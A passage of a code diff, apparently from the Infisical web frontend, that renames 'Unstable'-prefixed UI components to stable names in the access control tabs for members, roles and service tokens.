@@ -601,8 +599,8 @@ export const IdentityTab = withProjectPermission(
                 </>
               )}
             </div>
-          </UnstableCardContent>
-        </UnstableCard>
+          </CardContent>
+        </Card>
         <Modal
           isOpen={popUp.createIdentity.isOpen}
           onOpenChange={(open) => {
diff --git a/frontend/src/pages/project/AccessControlPage/components/MembersTab/components/MembersSection.tsx b/frontend/src/pages/project/AccessControlPage/components/MembersTab/components/MembersSection.tsx
index be38123c5b9..cb36aafe871 100644
--- a/frontend/src/pages/project/AccessControlPage/components/MembersTab/components/MembersSection.tsx
+++ b/frontend/src/pages/project/AccessControlPage/components/MembersTab/components/MembersSection.tsx
@@ -5,13 +5,13 @@ import { ProjectPermissionCan } from "@app/components/permissions";
 import { DeleteActionModal } from "@app/components/v2";
 import {
   Button,
-  DocumentationLinkBadge,
-  UnstableCard,
-  UnstableCardAction,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+  DocumentationLinkBadge
 } from "@app/components/v3";
 import {
   ProjectPermissionActions,
@@ -55,14 +55,14 @@ export const MembersSection = () => {
 
   return (
     <>
-      <UnstableCard>
-        <UnstableCardHeader>
-          <UnstableCardTitle>
+      <Card>
+        <CardHeader>
+          <CardTitle>
             Project Users
             <DocumentationLinkBadge href="https://infisical.com/docs/documentation/platform/identities/user-identities" />
-          </UnstableCardTitle>
-          <UnstableCardDescription>Invite and manage project users</UnstableCardDescription>
-          <UnstableCardAction>
+          </CardTitle>
+          <CardDescription>Invite and manage project users</CardDescription>
+          <CardAction>
             <ProjectPermissionCan
               I={ProjectPermissionActions.Create}
               a={ProjectPermissionSub.Member}
@@ -78,12 +78,12 @@ export const MembersSection = () => {
                 </Button>
               )}
             </ProjectPermissionCan>
-          </UnstableCardAction>
-        </UnstableCardHeader>
-        <UnstableCardContent>
+          </CardAction>
+        </CardHeader>
+        <CardContent>
           <MembersTable handlePopUpOpen={handlePopUpOpen} />
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
       <AddMemberModal popUp={popUp} handlePopUpToggle={handlePopUpToggle} />
       <DeleteActionModal
         isOpen={popUp.removeMember.isOpen}
diff --git a/frontend/src/pages/project/AccessControlPage/components/MembersTab/components/MembersTable.tsx b/frontend/src/pages/project/AccessControlPage/components/MembersTab/components/MembersTable.tsx
index 65cd30b4f1b..9e6ef603a62 100644
--- a/frontend/src/pages/project/AccessControlPage/components/MembersTab/components/MembersTable.tsx
+++ b/frontend/src/pages/project/AccessControlPage/components/MembersTab/components/MembersTable.tsx
@@ -14,34 +14,34 @@ import { twMerge } from "tailwind-merge";
 import { ProjectPermissionCan } from "@app/components/permissions";
 import {
   Badge,
+  DropdownMenu,
+  DropdownMenuCheckboxItem,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuLabel,
+  DropdownMenuTrigger,
+  Empty,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyTitle,
+  IconButton,
   InputGroup,
   InputGroupAddon,
   InputGroupInput,
+  Pagination,
   Popover,
   PopoverContent,
   PopoverTrigger,
   Skeleton,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuCheckboxItem,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuLabel,
-  UnstableDropdownMenuTrigger,
-  UnstableEmpty,
-  UnstableEmptyDescription,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableIconButton,
-  UnstablePagination,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  TooltipTrigger
 } from "@app/components/v3";
 import { ProjectPermissionActions, ProjectPermissionSub, useProject, useUser } from "@app/context";
 import { getProjectBaseURL } from "@app/helpers/project";
@@ -194,16 +194,16 @@ export const MembersTable = ({ handlePopUpOpen }: Props) => {
             placeholder="Search project users..."
           />
         </InputGroup>
-        <UnstableDropdownMenu>
-          <UnstableDropdownMenuTrigger asChild>
-            <UnstableIconButton variant={isTableFiltered ? "project" : "outline"}>
+        <DropdownMenu>
+          <DropdownMenuTrigger asChild>
+            <IconButton variant={isTableFiltered ? "project" : "outline"}>
               <FilterIcon />
-            </UnstableIconButton>
-          </UnstableDropdownMenuTrigger>
-          <UnstableDropdownMenuContent align="end">
-            <UnstableDropdownMenuLabel>Filter by Project Role</UnstableDropdownMenuLabel>
+            </IconButton>
+          </DropdownMenuTrigger>
+          <DropdownMenuContent align="end">
+            <DropdownMenuLabel>Filter by Project Role</DropdownMenuLabel>
             {projectRoles?.map(({ id, slug, name }) => (
-              <UnstableDropdownMenuCheckboxItem
+              <DropdownMenuCheckboxItem
                 key={id}
                 checked={filter.roles.includes(slug)}
                 onClick={(e) => {
@@ -213,35 +213,32 @@ export const MembersTable = ({ handlePopUpOpen }: Props) => {
                 }}
               >
                 {name}
-              </UnstableDropdownMenuCheckboxItem>
+              </DropdownMenuCheckboxItem>
             ))}
-          </UnstableDropdownMenuContent>
-        </UnstableDropdownMenu>
+          </DropdownMenuContent>
+        </DropdownMenu>
       </div>
       {!isMembersLoading && !filteredUsers?.length ? (
-        <UnstableEmpty className="border">
-          <UnstableEmptyHeader>
-            <UnstableEmptyTitle>
+        <Empty className="border">
+          <EmptyHeader>
+            <EmptyTitle>
               {search || isTableFiltered
                 ? "No project users match search"
                 : "No project users found"}
-            </UnstableEmptyTitle>
-            <UnstableEmptyDescription>
+            </EmptyTitle>
+            <EmptyDescription>
               {search || isTableFiltered
                 ? "Adjust your search or filter criteria."
                 : "Add users to get started."}
-            </UnstableEmptyDescription>
-          </UnstableEmptyHeader>
-        </UnstableEmpty>
+            </EmptyDescription>
+          </EmptyHeader>
+        </Empty>
       ) : (
         <>
-          <UnstableTable>
-            <UnstableTableHeader>
-              <UnstableTableRow>
-                <UnstableTableHead
-                  className="w-1/3"
-                  onClick={() => handleSort(MembersOrderBy.Name)}
-                >
+          <Table>
+            <TableHeader>
+              <TableRow>
+                <TableHead className="w-1/3" onClick={() => handleSort(MembersOrderBy.Name)}>
                   Name
                   <ChevronDownIcon
                     className={twMerge(
@@ -252,11 +249,8 @@ export const MembersTable = ({ handlePopUpOpen }: Props) => {
                       orderBy !== MembersOrderBy.Name && "opacity-30"
                     )}
                   />
-                </UnstableTableHead>
-                <UnstableTableHead
-                  className="w-1/3"
-                  onClick={() => handleSort(MembersOrderBy.Email)}
-                >
+                </TableHead>
+                <TableHead className="w-1/3" onClick={() => handleSort(MembersOrderBy.Email)}>
                   Email
                   <ChevronDownIcon
                     className={twMerge(
@@ -267,28 +261,28 @@ export const MembersTable = ({ handlePopUpOpen }: Props) => {
                       orderBy !== MembersOrderBy.Email && "opacity-30"
                     )}
                   />
-                </UnstableTableHead>
-                <UnstableTableHead>Project Role</UnstableTableHead>
-                <UnstableTableHead className="w-5" />
-              </UnstableTableRow>
-            </UnstableTableHeader>
-            <UnstableTableBody>
+                </TableHead>
+                <TableHead>Project Role</TableHead>
+                <TableHead className="w-5" />
+              </TableRow>
+            </TableHeader>
+            <TableBody>
               {isMembersLoading &&
                 Array.from({ length: 10 }).map((_, i) => (
-                  <UnstableTableRow key={`skeleton-${i + 1}`}>
-                    <UnstableTableCell>
+                  <TableRow key={`skeleton-${i + 1}`}>
+                    <TableCell>
                       <Skeleton className="h-4 w-full" />
-                    </UnstableTableCell>
-                    <UnstableTableCell>
+                    </TableCell>
+                    <TableCell>
                       <Skeleton className="h-4 w-full" />
-                    </UnstableTableCell>
-                    <UnstableTableCell>
+                    </TableCell>
+                    <TableCell>
                       <Skeleton className="h-4 w-full" />
-                    </UnstableTableCell>
-                    <UnstableTableCell>
+                    </TableCell>
+                    <TableCell>
                       <Skeleton className="h-4 w-4" />
-                    </UnstableTableCell>
-                  </UnstableTableRow>
+                    </TableCell>
+                  </TableRow>
                 ))}
               {!isMembersLoading &&
                 filteredUsersPage.map((projectMember) => {
@@ -298,7 +292,7 @@ export const MembersTable = ({ handlePopUpOpen }: Props) => {
                   const email = u?.email || inviteEmail;
 
                   return (
-                    <UnstableTableRow
+                    <TableRow
                       key={`membership-${membershipId}`}
                       className="group cursor-pointer"
                       role="button"
@@ -324,11 +318,11 @@ export const MembersTable = ({ handlePopUpOpen }: Props) => {
                         })
                       }
                     >
-                      <UnstableTableCell isTruncatable>
+                      <TableCell isTruncatable>
                         {name ?? <span className="text-muted">&mdash;</span>}
-                      </UnstableTableCell>
-                      <UnstableTableCell isTruncatable>{email}</UnstableTableCell>
-                      <UnstableTableCell>
+                      </TableCell>
+                      <TableCell isTruncatable>{email}</TableCell>
+                      <TableCell>
                         <div className="flex items-center gap-1.5">
                           {roles
                             .slice(0, MAX_ROLES_TO_BE_SHOWN_IN_TABLE)
@@ -420,21 +414,21 @@ export const MembersTable = ({ handlePopUpOpen }: Props) => {
                             </Popover>
                           )}
                         </div>
-                      </UnstableTableCell>
-                      <UnstableTableCell>
-                        <UnstableDropdownMenu>
+                      </TableCell>
+                      <TableCell>
+                        <DropdownMenu>
                           <Tooltip>
                             <TooltipTrigger>
-                              <UnstableDropdownMenuTrigger asChild>
-                                <UnstableIconButton
+                              <DropdownMenuTrigger asChild>
+                                <IconButton
                                   variant="ghost"
                                   size="xs"
                                   isDisabled={userId === u?.id}
                                   onClick={(e) => e.stopPropagation()}
                                 >
                                   <MoreHorizontalIcon />
-                                </UnstableIconButton>
-                              </UnstableDropdownMenuTrigger>
+                                </IconButton>
+                              </DropdownMenuTrigger>
                             </TooltipTrigger>
                             {userId === u?.id && (
                               <TooltipContent side="left">
@@ -442,13 +436,13 @@ export const MembersTable = ({ handlePopUpOpen }: Props) => {
                               </TooltipContent>
                             )}
                           </Tooltip>
-                          <UnstableDropdownMenuContent sideOffset={2} align="end">
+                          <DropdownMenuContent sideOffset={2} align="end">
                             <ProjectPermissionCan
                               I={ProjectPermissionActions.Delete}
                               a={ProjectPermissionSub.Member}
                             >
                               {(isAllowed) => (
-                                <UnstableDropdownMenuItem
+                                <DropdownMenuItem
                                   variant="danger"
                                   isDisabled={!isAllowed}
                                   onClick={(evt) => {
@@ -461,19 +455,19 @@ export const MembersTable = ({ handlePopUpOpen }: Props) => {
                                 >
                                   <UserXIcon />
                                   Remove User From Project
-                                </UnstableDropdownMenuItem>
+                                </DropdownMenuItem>
                               )}
                             </ProjectPermissionCan>
-                          </UnstableDropdownMenuContent>
-                        </UnstableDropdownMenu>
-                      </UnstableTableCell>
-                    </UnstableTableRow>
+                          </DropdownMenuContent>
+                        </DropdownMenu>
+                      </TableCell>
+                    </TableRow>
                   );
                 })}
-            </UnstableTableBody>
-          </UnstableTable>
+            </TableBody>
+          </Table>
           {Boolean(filteredUsers.length) && (
-            <UnstablePagination
+            <Pagination
               count={filteredUsers.length}
               page={page}
               perPage={perPage}
diff --git a/frontend/src/pages/project/AccessControlPage/components/ProjectRoleListTab/components/ProjectRoleList/ProjectRoleList.tsx b/frontend/src/pages/project/AccessControlPage/components/ProjectRoleListTab/components/ProjectRoleList/ProjectRoleList.tsx
index 8324679c11e..c7fdc191ea4 100644
--- a/frontend/src/pages/project/AccessControlPage/components/ProjectRoleListTab/components/ProjectRoleList/ProjectRoleList.tsx
+++ b/frontend/src/pages/project/AccessControlPage/components/ProjectRoleListTab/components/ProjectRoleList/ProjectRoleList.tsx
@@ -19,38 +19,38 @@ import { createNotification } from "@app/components/notifications";
 import { ProjectPermissionCan } from "@app/components/permissions";
 import { DeleteActionModal } from "@app/components/v2";
 import {
+  Alert,
+  AlertDescription,
+  AlertTitle,
   Badge,
   Button,
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
   DocumentationLinkBadge,
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  Empty,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyTitle,
+  IconButton,
   InputGroup,
   InputGroupAddon,
   InputGroupInput,
+  Pagination,
   Skeleton,
-  UnstableAlert,
-  UnstableAlertDescription,
-  UnstableAlertTitle,
-  UnstableCard,
-  UnstableCardAction,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstableEmpty,
-  UnstableEmptyDescription,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableIconButton,
-  UnstablePagination,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow
 } from "@app/components/v3";
 import {
   ProjectPermissionActions,
@@ -187,10 +187,10 @@ export const ProjectRoleList = () => {
     <>
       {/* TODO(custom-roles): Remove this banner after 2026-06-01 when custom roles are removed from Pro plan */}
       {isProPlan && customRoles?.length > 0 && (
-        <UnstableAlert variant="warning" className="mb-4">
+        <Alert variant="warning" className="mb-4">
           <TriangleAlertIcon />
-          <UnstableAlertTitle>Custom roles are moving to Enterprise plans</UnstableAlertTitle>
-          <UnstableAlertDescription>
+          <AlertTitle>Custom roles are moving to Enterprise plans</AlertTitle>
+          <AlertDescription>
             <div>
               Custom roles are part of the Infisical Enterprise plan, but were temporarily available
               to Pro users. Creation of new roles will be enforced starting June 1, 2026.
@@ -215,18 +215,18 @@ export const ProjectRoleList = () => {
               </a>{" "}
               to upgrade and retain access to custom roles.
             </div>
-          </UnstableAlertDescription>
-        </UnstableAlert>
+          </AlertDescription>
+        </Alert>
       )}
 
-      <UnstableCard>
-        <UnstableCardHeader>
-          <UnstableCardTitle>
+      <Card>
+        <CardHeader>
+          <CardTitle>
             Project Roles
             <DocumentationLinkBadge href="https://infisical.com/docs/documentation/platform/access-controls/role-based-access-controls#project-level-access-controls" />
-          </UnstableCardTitle>
-          <UnstableCardDescription>Create and manage project roles</UnstableCardDescription>
-          <UnstableCardAction>
+          </CardTitle>
+          <CardDescription>Create and manage project roles</CardDescription>
+          <CardAction>
             <ProjectPermissionCan I={ProjectPermissionActions.Create} a={ProjectPermissionSub.Role}>
               {(isAllowed) => (
                 <Button
@@ -239,9 +239,9 @@ export const ProjectRoleList = () => {
                 </Button>
               )}
             </ProjectPermissionCan>
-          </UnstableCardAction>
-        </UnstableCardHeader>
-        <UnstableCardContent>
+          </CardAction>
+        </CardHeader>
+        <CardContent>
           <div className="mb-4">
             <InputGroup>
               <InputGroupAddon>
@@ -255,27 +255,24 @@ export const ProjectRoleList = () => {
             </InputGroup>
           </div>
           {!isRolesLoading && !filteredRoles?.length ? (
-            <UnstableEmpty className="border">
-              <UnstableEmptyHeader>
-                <UnstableEmptyTitle>
+            <Empty className="border">
+              <EmptyHeader>
+                <EmptyTitle>
                   {roles?.length
                     ? "No project roles match search"
                     : "This project does not have any roles"}
-                </UnstableEmptyTitle>
-                <UnstableEmptyDescription>
+                </EmptyTitle>
+                <EmptyDescription>
                   {roles?.length ? "Adjust your search criteria." : "Add a role to get started."}
-                </UnstableEmptyDescription>
-              </UnstableEmptyHeader>
-            </UnstableEmpty>
+                </EmptyDescription>
+              </EmptyHeader>
+            </Empty>
           ) : (
             <>
-              <UnstableTable>
-                <UnstableTableHeader>
-                  <UnstableTableRow>
-                    <UnstableTableHead
-                      className="w-1/3"
-                      onClick={() => handleSort(RolesOrderBy.Name)}
-                    >
+              <Table>
+                <TableHeader>
+                  <TableRow>
+                    <TableHead className="w-1/3" onClick={() => handleSort(RolesOrderBy.Name)}>
                       Name
                       <ChevronDownIcon
                         className={twMerge(
@@ -286,11 +283,8 @@ export const ProjectRoleList = () => {
                           orderBy !== RolesOrderBy.Name && "opacity-30"
                         )}
                       />
-                    </UnstableTableHead>
-                    <UnstableTableHead
-                      className="w-1/3"
-                      onClick={() => handleSort(RolesOrderBy.Slug)}
-                    >
+                    </TableHead>
+                    <TableHead className="w-1/3" onClick={() => handleSort(RolesOrderBy.Slug)}>
                       Slug
                       <ChevronDownIcon
                         className={twMerge(
@@ -301,8 +295,8 @@ export const ProjectRoleList = () => {
                           orderBy !== RolesOrderBy.Slug && "opacity-30"
                         )}
                       />
-                    </UnstableTableHead>
-                    <UnstableTableHead onClick={() => handleSort(RolesOrderBy.Type)}>
+                    </TableHead>
+                    <TableHead onClick={() => handleSort(RolesOrderBy.Type)}>
                       Type
                       <ChevronDownIcon
                         className={twMerge(
@@ -313,27 +307,27 @@ export const ProjectRoleList = () => {
                           orderBy !== RolesOrderBy.Type && "opacity-30"
                         )}
                       />
-                    </UnstableTableHead>
-                    <UnstableTableHead className="w-5" />
-                  </UnstableTableRow>
-                </UnstableTableHeader>
-                <UnstableTableBody>
+                    </TableHead>
+                    <TableHead className="w-5" />
+                  </TableRow>
+                </TableHeader>
+                <TableBody>
                   {isRolesLoading &&
                     Array.from({ length: 10 }).map((_, i) => (
-                      <UnstableTableRow key={`skeleton-${i + 1}`}>
-                        <UnstableTableCell>
+                      <TableRow key={`skeleton-${i + 1}`}>
+                        <TableCell>
                           <Skeleton className="h-4 w-full" />
-                        </UnstableTableCell>
-                        <UnstableTableCell>
+                        </TableCell>
+                        <TableCell>
                           <Skeleton className="h-4 w-full" />
-                        </UnstableTableCell>
-                        <UnstableTableCell>
+                        </TableCell>
+                        <TableCell>
                           <Skeleton className="h-4 w-full" />
-                        </UnstableTableCell>
-                        <UnstableTableCell>
+                        </TableCell>
+                        <TableCell>
                           <Skeleton className="h-4 w-4" />
-                        </UnstableTableCell>
-                      </UnstableTableRow>
+                        </TableCell>
+                      </TableRow>
                     ))}
                   {filteredRolesPage.map((role) => {
                     const { id, name, slug } = role;
@@ -342,7 +336,7 @@ export const ProjectRoleList = () => {
                     );
 
                     return (
-                      <UnstableTableRow
+                      <TableRow
                         key={`role-list-${id}`}
                         className="cursor-pointer"
                         onClick={() =>
@@ -355,9 +349,9 @@ export const ProjectRoleList = () => {
                           })
                         }
                       >
-                        <UnstableTableCell isTruncatable>{name}</UnstableTableCell>
-                        <UnstableTableCell isTruncatable>{slug}</UnstableTableCell>
-                        <UnstableTableCell>
+                        <TableCell isTruncatable>{name}</TableCell>
+                        <TableCell isTruncatable>{slug}</TableCell>
+                        <TableCell>
                           <Badge variant="ghost">
                             {isCustomProjectRole(slug) ? (
                               <>
@@ -371,29 +365,25 @@ export const ProjectRoleList = () => {
                               </>
                             )}
                           </Badge>
-                        </UnstableTableCell>
-                        <UnstableTableCell>
-                          <UnstableDropdownMenu>
-                            <UnstableDropdownMenuTrigger asChild>
-                              <UnstableIconButton
+                        </TableCell>
+                        <TableCell>
+                          <DropdownMenu>
+                            <DropdownMenuTrigger asChild>
+                              <IconButton
                                 variant="ghost"
                                 size="xs"
                                 onClick={(e) => e.stopPropagation()}
                               >
                                 <MoreHorizontalIcon />
-                              </UnstableIconButton>
-                            </UnstableDropdownMenuTrigger>
-                            <UnstableDropdownMenuContent
-                              className="min-w-48"
-                              sideOffset={2}
-                              align="end"
-                            >
+                              </IconButton>
+                            </DropdownMenuTrigger>
+                            <DropdownMenuContent className="min-w-48" sideOffset={2} align="end">
                               <ProjectPermissionCan
                                 I={ProjectPermissionActions.Edit}
                                 a={ProjectPermissionSub.Role}
                               >
                                 {(isAllowed) => (
-                                  <UnstableDropdownMenuItem
+                                  <DropdownMenuItem
                                     onClick={(e) => {
                                       e.stopPropagation();
                                       navigate({
@@ -408,7 +398,7 @@ export const ProjectRoleList = () => {
                                   >
                                     {isNonMutatable ? <EyeIcon /> : <PencilIcon />}
                                     {`${isNonMutatable ? "View" : "Edit"} Role`}
-                                  </UnstableDropdownMenuItem>
+                                  </DropdownMenuItem>
                                 )}
                               </ProjectPermissionCan>
                               <ProjectPermissionCan
@@ -416,7 +406,7 @@ export const ProjectRoleList = () => {
                                 a={ProjectPermissionSub.Role}
                               >
                                 {(isAllowed) => (
-                                  <UnstableDropdownMenuItem
+                                  <DropdownMenuItem
                                     onClick={(e) => {
                                       e.stopPropagation();
                                       handlePopUpOpen("duplicateRole", role);
@@ -425,7 +415,7 @@ export const ProjectRoleList = () => {
                                   >
                                     <CopyIcon />
                                     Duplicate Role
-                                  </UnstableDropdownMenuItem>
+                                  </DropdownMenuItem>
                                 )}
                               </ProjectPermissionCan>
                               {!isNonMutatable && (
@@ -434,7 +424,7 @@ export const ProjectRoleList = () => {
                                   a={ProjectPermissionSub.Role}
                                 >
                                   {(isAllowed) => (
-                                    <UnstableDropdownMenuItem
+                                    <DropdownMenuItem
                                       variant="danger"
                                       onClick={(e) => {
                                         e.stopPropagation();
@@ -444,20 +434,20 @@ export const ProjectRoleList = () => {
                                     >
                                       <TrashIcon />
                                       Delete Role
-                                    </UnstableDropdownMenuItem>
+                                    </DropdownMenuItem>
                                   )}
                                 </ProjectPermissionCan>
                               )}
-                            </UnstableDropdownMenuContent>
-                          </UnstableDropdownMenu>
-                        </UnstableTableCell>
-                      </UnstableTableRow>
+                            </DropdownMenuContent>
+                          </DropdownMenu>
+                        </TableCell>
+                      </TableRow>
                     );
                   })}
-                </UnstableTableBody>
-              </UnstableTable>
+                </TableBody>
+              </Table>
               {Boolean(filteredRoles?.length) && (
-                <UnstablePagination
+                <Pagination
                   count={filteredRoles!.length}
                   page={page}
                   perPage={perPage}
@@ -467,8 +457,8 @@ export const ProjectRoleList = () => {
               )}
             </>
           )}
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
       <RoleModal popUp={popUp} handlePopUpToggle={handlePopUpToggle} />
       <DeleteActionModal
         isOpen={popUp.deleteRole.isOpen}
diff --git a/frontend/src/pages/project/AccessControlPage/components/ServiceTokenTab/components/ServiceTokenSection/ServiceTokenSection.tsx b/frontend/src/pages/project/AccessControlPage/components/ServiceTokenTab/components/ServiceTokenSection/ServiceTokenSection.tsx
index 9a8a640580e..0ea96d35f02 100644
--- a/frontend/src/pages/project/AccessControlPage/components/ServiceTokenTab/components/ServiceTokenSection/ServiceTokenSection.tsx
+++ b/frontend/src/pages/project/AccessControlPage/components/ServiceTokenTab/components/ServiceTokenSection/ServiceTokenSection.tsx
@@ -6,13 +6,13 @@ import { ProjectPermissionCan } from "@app/components/permissions";
 import { DeleteActionModal } from "@app/components/v2";
 import {
   Button,
-  DocumentationLinkBadge,
-  UnstableCard,
-  UnstableCardAction,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+  DocumentationLinkBadge
 } from "@app/components/v3";
 import { ProjectPermissionActions, ProjectPermissionSub } from "@app/context";
 import { withProjectPermission } from "@app/hoc";
@@ -49,16 +49,14 @@ export const ServiceTokenSection = withProjectPermission(
 
     return (
       <>
-        <UnstableCard>
-          <UnstableCardHeader>
-            <UnstableCardTitle>
+        <Card>
+          <CardHeader>
+            <CardTitle>
               Service Tokens
               <DocumentationLinkBadge href="https://infisical.com/docs/documentation/platform/token" />
-            </UnstableCardTitle>
-            <UnstableCardDescription>
-              {t("section.token.service-tokens-description")}
-            </UnstableCardDescription>
-            <UnstableCardAction>
+            </CardTitle>
+            <CardDescription>{t("section.token.service-tokens-description")}</CardDescription>
+            <CardAction>
               <ProjectPermissionCan
                 I={ProjectPermissionActions.Create}
                 a={ProjectPermissionSub.ServiceTokens}
@@ -76,12 +74,12 @@ export const ServiceTokenSection = withProjectPermission(
                   </Button>
                 )}
               </ProjectPermissionCan>
-            </UnstableCardAction>
-          </UnstableCardHeader>
-          <UnstableCardContent>
+            </CardAction>
+          </CardHeader>
+          <CardContent>
             <ServiceTokenTable handlePopUpOpen={handlePopUpOpen} />
-          </UnstableCardContent>
-        </UnstableCard>
+          </CardContent>
+        </Card>
         <AddServiceTokenModal popUp={popUp} handlePopUpToggle={handlePopUpToggle} />
         <DeleteActionModal
           isOpen={popUp.deleteAPITokenConfirmation.isOpen}
diff --git a/frontend/src/pages/project/AccessControlPage/components/ServiceTokenTab/components/ServiceTokenSection/ServiceTokenTable.tsx b/frontend/src/pages/project/AccessControlPage/components/ServiceTokenTab/components/ServiceTokenSection/ServiceTokenTable.tsx
index 56335245873..fe341dc37f8 100644
--- a/frontend/src/pages/project/AccessControlPage/components/ServiceTokenTab/components/ServiceTokenSection/ServiceTokenTable.tsx
+++ b/frontend/src/pages/project/AccessControlPage/components/ServiceTokenTab/components/ServiceTokenSection/ServiceTokenTable.tsx
@@ -12,26 +12,26 @@ import { twMerge } from "tailwind-merge";
 import { ProjectPermissionCan } from "@app/components/permissions";
 import {
   Badge,
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  Empty,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyTitle,
+  IconButton,
   InputGroup,
   InputGroupAddon,
   InputGroupInput,
+  Pagination,
   Skeleton,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstableEmpty,
-  UnstableEmptyDescription,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableIconButton,
-  UnstablePagination,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow
 } from "@app/components/v3";
 import { ProjectPermissionActions, ProjectPermissionSub, useProject } from "@app/context";
 import {
@@ -160,22 +160,22 @@ export const ServiceTokenTable = ({ handlePopUpOpen }: Props) => {
         </InputGroup>
       </div>
       {!isPending && !filteredTokens?.length ? (
-        <UnstableEmpty className="border">
-          <UnstableEmptyHeader>
-            <UnstableEmptyTitle>
+        <Empty className="border">
+          <EmptyHeader>
+            <EmptyTitle>
               {search ? "No service tokens match search" : "No service tokens found"}
-            </UnstableEmptyTitle>
-            <UnstableEmptyDescription>
+            </EmptyTitle>
+            <EmptyDescription>
               {search ? "Adjust your search criteria." : "Create a token to get started."}
-            </UnstableEmptyDescription>
-          </UnstableEmptyHeader>
-        </UnstableEmpty>
+            </EmptyDescription>
+          </EmptyHeader>
+        </Empty>
       ) : (
         <>
-          <UnstableTable>
-            <UnstableTableHeader>
-              <UnstableTableRow>
-                <UnstableTableHead onClick={() => handleSort(TokensOrderBy.Name)}>
+          <Table>
+            <TableHeader>
+              <TableRow>
+                <TableHead onClick={() => handleSort(TokensOrderBy.Name)}>
                   Name
                   <ChevronDownIcon
                     className={twMerge(
@@ -186,9 +186,9 @@ export const ServiceTokenTable = ({ handlePopUpOpen }: Props) => {
                       orderBy !== TokensOrderBy.Name && "opacity-30"
                     )}
                   />
-                </UnstableTableHead>
-                <UnstableTableHead>Environment / Secret Path</UnstableTableHead>
-                <UnstableTableHead onClick={() => handleSort(TokensOrderBy.Expiration)}>
+                </TableHead>
+                <TableHead>Environment / Secret Path</TableHead>
+                <TableHead onClick={() => handleSort(TokensOrderBy.Expiration)}>
                   Valid Until
                   <ChevronDownIcon
                     className={twMerge(
@@ -199,33 +199,33 @@ export const ServiceTokenTable = ({ handlePopUpOpen }: Props) => {
                       orderBy !== TokensOrderBy.Expiration && "opacity-30"
                     )}
                   />
-                </UnstableTableHead>
-                <UnstableTableHead className="w-5" />
-              </UnstableTableRow>
-            </UnstableTableHeader>
-            <UnstableTableBody>
+                </TableHead>
+                <TableHead className="w-5" />
+              </TableRow>
+            </TableHeader>
+            <TableBody>
               {isPending &&
                 Array.from({ length: 10 }).map((_, i) => (
-                  <UnstableTableRow key={`skeleton-${i + 1}`}>
-                    <UnstableTableCell>
+                  <TableRow key={`skeleton-${i + 1}`}>
+                    <TableCell>
                       <Skeleton className="h-4 w-full" />
-                    </UnstableTableCell>
-                    <UnstableTableCell>
+                    </TableCell>
+                    <TableCell>
                       <Skeleton className="h-4 w-full" />
-                    </UnstableTableCell>
-                    <UnstableTableCell>
+                    </TableCell>
+                    <TableCell>
                       <Skeleton className="h-4 w-full" />
-                    </UnstableTableCell>
-                    <UnstableTableCell>
+                    </TableCell>
+                    <TableCell>
                       <Skeleton className="h-4 w-4" />
-                    </UnstableTableCell>
-                  </UnstableTableRow>
+                    </TableCell>
+                  </TableRow>
                 ))}
               {!isPending &&
                 filteredTokens.slice(offset, perPage * page).map((row) => (
-                  <UnstableTableRow key={row.id}>
-                    <UnstableTableCell isTruncatable>{row.name}</UnstableTableCell>
-                    <UnstableTableCell>
+                  <TableRow key={row.id}>
+                    <TableCell isTruncatable>{row.name}</TableCell>
+                    <TableCell>
                       <div className="flex flex-row flex-wrap gap-1">
                         {row?.scopes.map(({ secretPath, environment }) => (
                           <Badge key={`${row.id}-${environment}-${secretPath}`} variant="neutral">
@@ -235,32 +235,32 @@ export const ServiceTokenTable = ({ handlePopUpOpen }: Props) => {
                           </Badge>
                         ))}
                       </div>
-                    </UnstableTableCell>
-                    <UnstableTableCell>
+                    </TableCell>
+                    <TableCell>
                       {row.expiresAt ? (
                         format(row.expiresAt, "MMM d, yyyy h:mm aa")
                       ) : (
                         <span className="text-muted">&mdash;</span>
                       )}
-                    </UnstableTableCell>
-                    <UnstableTableCell>
-                      <UnstableDropdownMenu>
-                        <UnstableDropdownMenuTrigger asChild>
-                          <UnstableIconButton
+                    </TableCell>
+                    <TableCell>
+                      <DropdownMenu>
+                        <DropdownMenuTrigger asChild>
